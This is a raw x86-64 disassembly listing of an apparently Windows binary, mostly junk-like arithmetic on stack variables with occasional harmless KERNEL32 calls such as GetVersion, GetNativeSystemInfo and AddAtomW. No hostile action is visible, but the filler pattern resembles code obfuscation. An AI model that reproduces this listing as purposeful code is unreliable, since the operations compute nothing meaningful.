mov rcx, qword [rsp + 0x5358]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [rsp + 0x3cd0]
mov rcx, qword [rsp + 0x54f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4a78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ed8]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x5688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5140]
mov qword [rsp + 0x7058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7058]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3188], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x7060], rax
mov rax, qword [rsp + 0x4988]
mov ecx, dword [rsp + 0x2064]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1e50], eax
mov rax, qword [rsp + 0x6998]
mov rcx, qword [rsp + 0x6970]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5f98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d48]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018addc], ax
lea rax, [rsp + 0xdd4]
mov qword [rsp + 0x7068], rax
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0x6828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [0x14018c270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
sub eax, ecx
mov word [rsp + 0xa44], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21e8], eax
mov rcx, qword [rsp + 0x5b80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x6128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a38]
mov qword [rsp + 0x7070], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7070]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5158], rax
mov eax, dword [0x14018ad34]
mov ecx, dword [rsp + 0x21c4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x44f0]
mov dword [rcx], eax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0x7078], rax
movsx eax, word [rsp + 0xd04]
movsx ecx, word [rsp + 0xe64]
or eax, ecx
mov word [rsp + 0x958], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, word [rax]
mov word [rsp + 0xec8], ax
mov rax, qword [0x14018c5b0]
mov rax, qword [rax]
mov qword [0x14018c5b8], rax
mov rax, qword [rsp + 0x5ea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6f40]
shl rax, cl
mov rcx, qword [rsp + 0x4ca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x46c8]
mov rcx, qword [rsp + 0x4120]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6af0]
mov qword [rcx], rax
lea rax, [0x14018be30]
mov qword [rsp + 0x7080], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x213c], eax
movzx eax, word [rsp + 0xe9c]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov word [rcx], ax
lea rax, [rsp + 0x1c54]
mov qword [rsp + 0x7088], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x4950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5490]
mov qword [rsp + 0x7090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7090]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1e34]
mov ecx, dword [rsp + 0x218c]
add ecx, eax
mov eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x5390]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe44]
sub eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x64f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x52f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d0], ax
movzx eax, word [rsp + 0xd8c]
mov rcx, qword [rsp + 0x4320]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6e38]
mov word [rcx], ax
lea rax, [rsp + 0x6f58]
mov qword [rsp + 0x7098], rax
mov rax, qword [rsp + 0x54a8]
mov ecx, dword [0x14018ad60]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e98]
mov dword [rcx], eax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b38]
mov byte [rcx], al
mov rax, qword [rsp + 0x5490]
mov rax, qword [rax]
mov qword [rsp + 0x70a0], rax
movsx eax, word [0x14018c260]
mov rcx, qword [rsp + 0x6ed0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5978]
mov word [rcx], ax
movzx eax, word [rsp + 0x840]
movzx ecx, word [rsp + 0x514]
xor eax, ecx
mov word [0x14018ad20], ax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x70a8], rax
movzx eax, word [0x14018ad40]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x62d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x201c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41f0]
mov dword [rcx], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x70b0], rax
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x203c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov dword [rcx], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x70b8], rax
mov rax, qword [rsp + 0x6010]
mov rcx, qword [rsp + 0x2e80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ef0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe00]
movsx ecx, word [rsp + 0xe90]
add eax, ecx
mov word [rsp + 0xa1c], ax
lea rax, [rsp + 0x860]
mov qword [0x14018c5c0], rax
mov rax, qword [rsp + 0x6880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c78]
mov qword [rsp + 0x70c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x70c0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6078]
mov qword [rcx], rax
mov rax, qword [0x14018c5a8]
mov rcx, qword [rsp + 0x2ff8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5618]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc5c]
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0x4b30]
movzx eax, word [rax]
mov rcx, qword [0x14018c490]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc4], ax
mov eax, dword [rsp + 0x1b18]
mov dword [rsp + 0x2200], eax
movsx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x5360]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4758]
mov byte [rcx], al
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6128]
mov qword [rcx], rax
lea rax, [rsp + 0x2b68]
mov qword [rsp + 0x70c8], rax
mov rax, qword [rsp + 0x5030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018ad78], ax
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d8]
sub eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
lea rax, [rsp + 0x20dc]
mov qword [rsp + 0x70d0], rax
movzx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x5948]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x4d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5538]
mov qword [rsp + 0x70d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x70d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5e38]
mov qword [rcx], rax
lea rax, [rsp + 0x65f0]
mov qword [rsp + 0x70e0], rax
mov rax, qword [rsp + 0x4838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b18]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x21d4], eax
lea rax, [rsp + 0x1ea]
mov qword [rsp + 0x70e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x4e90]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6fa0]
mov word [rcx], ax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov word [0x14018ade4], ax
mov rax, qword [rsp + 0x6968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6628]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x70f0], rax
movsx eax, word [rsp + 0xe48]
movsx ecx, word [rsp + 0xd38]
sub eax, ecx
mov rcx, qword [rsp + 0x7048]
mov word [rcx], ax
lea rax, [0x14018c5b8]
mov qword [rsp + 0x70f8], rax
mov rax, qword [rsp + 0x45b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51f0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5c88]
mov byte [rcx], al
lea rax, [rsp + 0x1b14]
mov qword [rsp + 0x7100], rax
mov rax, qword [rsp + 0x5688]
mov rcx, qword [rsp + 0x6038]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6910]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6478]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
lea rax, [rsp + 0x2b50]
mov qword [0x14018c5c8], rax
movzx eax, byte [rsp + 0x165]
movzx ecx, byte [rsp + 0x1be]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x4a00]
mov ecx, dword [rsp + 0x1b78]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4988]
mov dword [rcx], eax
lea rax, [rsp + 0xddc]
mov qword [rsp + 0x7108], rax
movzx eax, word [rsp + 0xe30]
movzx ecx, word [rsp + 0xc78]
or eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ab8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2fd8]
shl rax, cl
mov qword [rsp + 0x6168], rax
mov rax, qword [rsp + 0x63c0]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
mov rax, qword [0x14018bfa0]
mov rcx, qword [rsp + 0x4e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
sar eax, cl
mov word [rsp + 0x580], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [0x14018c060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bfd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5e78], rax
mov rax, qword [0x14018be90]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6058]
mov qword [rcx], rax
lea rax, [rsp + 0x5da0]
mov qword [rsp + 0x7110], rax
mov rax, qword [rsp + 0x5118]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov word [rsp + 0xe88], ax
mov eax, dword [rsp + 0x210c]
mov dword [rsp + 0x2204], eax
mov rax, qword [rsp + 0x6ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5530]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4918]
mov byte [rcx], al
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x7118], rax
mov rax, qword [rsp + 0x4968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x20fc]
mov ecx, dword [rsp + 0x1e80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e0], eax
movzx eax, word [rsp + 0xcec]
mov word [0x14018c5d0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2104], eax
lea rax, [rsp + 0xec4]
mov qword [rsp + 0x7120], rax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xebc]
and eax, ecx
mov word [rsp + 0xda8], ax
lea rax, [rsp + 0x2ad0]
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x5b68]
mov rcx, qword [rsp + 0x2fd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x35e0], rax
movsx eax, byte [0x14018bdc7]
mov rcx, qword [rsp + 0x7078]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x6178]
mov ecx, dword [rsp + 0x20ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1d88], eax
movsx eax, word [rsp + 0xd24]
mov rcx, qword [0x14018c180]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5498]
mov word [rcx], ax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x3718]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c5c8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x3d8]
mov rcx, qword [0x14018bef8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6eb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3ff8]
mov qword [rcx], rax
lea rax, [rsp + 0x5fd0]
mov qword [rsp + 0x7130], rax
movsx eax, byte [rsp + 0x187]
movsx ecx, byte [rsp + 0x1c2]
sub eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
mov eax, dword [rsp + 0x1ec4]
mov dword [rsp + 0x2208], eax
movzx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x3e58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5488]
mov byte [rcx], al
mov rax, qword [rsp + 0x50d8]
mov rcx, qword [rsp + 0x5548]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2130], eax
lea rax, [rsp + 0x4c60]
mov qword [rsp + 0x7138], rax
movsx eax, word [rsp + 0xd74]
mov rcx, qword [rsp + 0x5a88]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14018c588], ax
movsx eax, word [0x14018c220]
movsx ecx, word [rsp + 0x3b8]
add eax, ecx
mov word [rsp + 0xb58], ax
lea rax, [rsp + 0x694]
mov qword [rsp + 0x7140], rax
mov rax, qword [rsp + 0x5508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
lea rax, [0x14018ad18]
mov qword [rsp + 0x7148], rax
mov rax, qword [rsp + 0x5010]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov rcx, qword [rsp + 0x4c30]
mov byte [rcx], al
mov eax, dword [rsp + 0x20cc]
mov ecx, dword [rsp + 0x1bc8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5768]
mov dword [rcx], eax
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x7150], rax
movzx eax, word [rsp + 0xec8]
mov rcx, qword [rsp + 0x68b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5100]
mov word [rcx], ax
lea rax, [rsp + 0x2e58]
mov qword [0x14018c5d8], rax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x7158], rax
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4648]
mov qword [rsp + 0x7160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7160]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x36c8], rax
mov rax, qword [rsp + 0x2df8]
mov rcx, qword [rsp + 0x52c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movzx eax, word [0x14018ad98]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x5408]
mov rcx, qword [rsp + 0x6630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov dword [rcx], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x7168], rax
mov rax, qword [rsp + 0x44f8]
mov rcx, qword [0x14018ada0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2184]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14018be98]
mov byte [rcx], al
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x7170], rax
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0xd04]
sar eax, cl
mov rcx, qword [rsp + 0x4448]
mov word [rcx], ax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x7178], rax
mov rax, qword [rsp + 0x5c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5920]
mov rcx, qword [rsp + 0x3d08]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5418]
mov qword [rcx], rax
lea rax, [rsp + 0x20d8]
mov qword [rsp + 0x7180], rax
mov rax, qword [rsp + 0x3e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x51b0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6e00]
mov byte [rcx], al
mov rax, qword [rsp + 0x5738]
movzx eax, word [rax]
mov word [rsp + 0xed4], ax
lea rax, [rsp + 0x61c]
mov qword [0x14018c5e0], rax
mov rax, qword [0x14018c3b0]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x69c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xccc]
movzx ecx, word [rsp + 0xd08]
add eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cc8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e7]
movzx ecx, byte [rsp + 0xc6]
and eax, ecx
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
lea rax, [rsp + 0x59e0]
mov qword [rsp + 0x7188], rax
movsx eax, byte [rsp + 0x1cf]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x5f18]
mov eax, dword [rax]
mov dword [rsp + 0x220c], eax
movsx eax, word [rsp + 0x8f8]
movsx ecx, word [rsp + 0xd14]
add eax, ecx
mov rcx, qword [rsp + 0x6e70]
mov word [rcx], ax
lea rax, [rsp + 0xcb8]
mov qword [0x14018c5e8], rax
mov rax, qword [rsp + 0x5ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5618]
mov qword [rcx], rax
lea rax, [rsp + 0x54a0]
mov qword [rsp + 0x7190], rax
mov rax, qword [rsp + 0x3fa8]
movsx eax, word [rax]
movsx ecx, word [0x14018c468]
and eax, ecx
mov rcx, qword [rsp + 0x7048]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fd0]
movzx eax, word [rax]
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x2b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59e0], rax
mov rax, qword [rsp + 0x5478]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rsp + 0x7198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7198]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2048], eax
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0x71a0], rax
mov rax, qword [rsp + 0x5df8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5798]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x548]
movsx ecx, word [0x14018c148]
or eax, ecx
mov word [0x14018c074], ax
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x4ea8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x6ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5a40]
mov eax, dword [rax]
mov dword [rsp + 0x2210], eax
mov rax, qword [rsp + 0x5f50]
mov rcx, qword [rsp + 0x57f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3320], rax
mov rax, qword [rsp + 0x6258]
mov rcx, qword [0x14018c470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49b0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0x5db0]
mov ecx, dword [rsp + 0x1e0c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6658]
mov dword [rcx], eax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x71a8], rax
lea rax, [rsp + 0xd98]
mov qword [0x14018c5f0], rax
mov rax, qword [rsp + 0x7130]
mov rcx, qword [rsp + 0x59a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6008]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4728]
movzx eax, word [rax]
mov rcx, qword [0x14018c5c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40d8]
mov word [rcx], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x71b0], rax
mov rax, qword [rsp + 0x4eb8]
mov rcx, qword [rsp + 0x52e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d20], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x52f8]
mov rax, qword [rax]
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x51e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4270]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0x5b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2010]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov dword [rcx], eax
lea rax, [0x14018ad3c]
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x54c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14018ada8], rax
mov eax, dword [rsp + 0x1fc0]
movzx ecx, al
mov eax, dword [rsp + 0x215c]
shl eax, cl
mov dword [rsp + 0x1c54], eax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x71c8], rax
movsx eax, word [rsp + 0xd04]
movsx ecx, word [rsp + 0xd88]
or eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x764]
mov rcx, qword [rsp + 0x43e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x71d0], rax
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3930]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3fc0], rax
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0x71d8], rax
movsx eax, word [rsp + 0x624]
movsx ecx, word [rsp + 0xe2c]
sub eax, ecx
mov rcx, qword [rsp + 0x6ed0]
mov word [rcx], ax
lea rax, [rsp + 0xd28]
mov qword [0x14018c5f8], rax
lea rcx, str.Gyi51LL_S70X.BcB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xedc], ax
lea rax, [rsp + 0x6628]
mov qword [rsp + 0x71e0], rax
mov rax, qword [rsp + 0x5880]
mov rcx, qword [0x14018c1f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5a80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x41d8]
mov rcx, qword [rsp + 0x51a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6030], rax
movzx eax, word [rsp + 0xdd4]
mov word [rsp + 0xee0], ax
mov eax, dword [0x14018ad34]
movzx ecx, al
mov eax, dword [rsp + 0x1bec]
shr eax, cl
mov dword [rsp + 0x1e0c], eax
mov rax, qword [rsp + 0x43b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
and eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x6740]
mov rcx, qword [rsp + 0x54c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6e60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b78]
mov ecx, dword [rsp + 0x20dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f10], eax
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6f80]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018c118], ax
mov rax, qword [0x14018c3d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4af8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcd8], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x71e8], rax
mov rax, qword [0x14018c140]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3718]
shl rax, cl
mov rcx, qword [rsp + 0x3ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4258]
mov rcx, qword [rsp + 0x2fd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d08], rax
mov rax, qword [rsp + 0x6b30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21bc]
shr eax, cl
mov dword [rsp + 0x1d00], eax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6860]
mov byte [rcx], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x71f0], rax
movzx eax, word [rsp + 0xd48]
mov rcx, qword [rsp + 0x6050]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
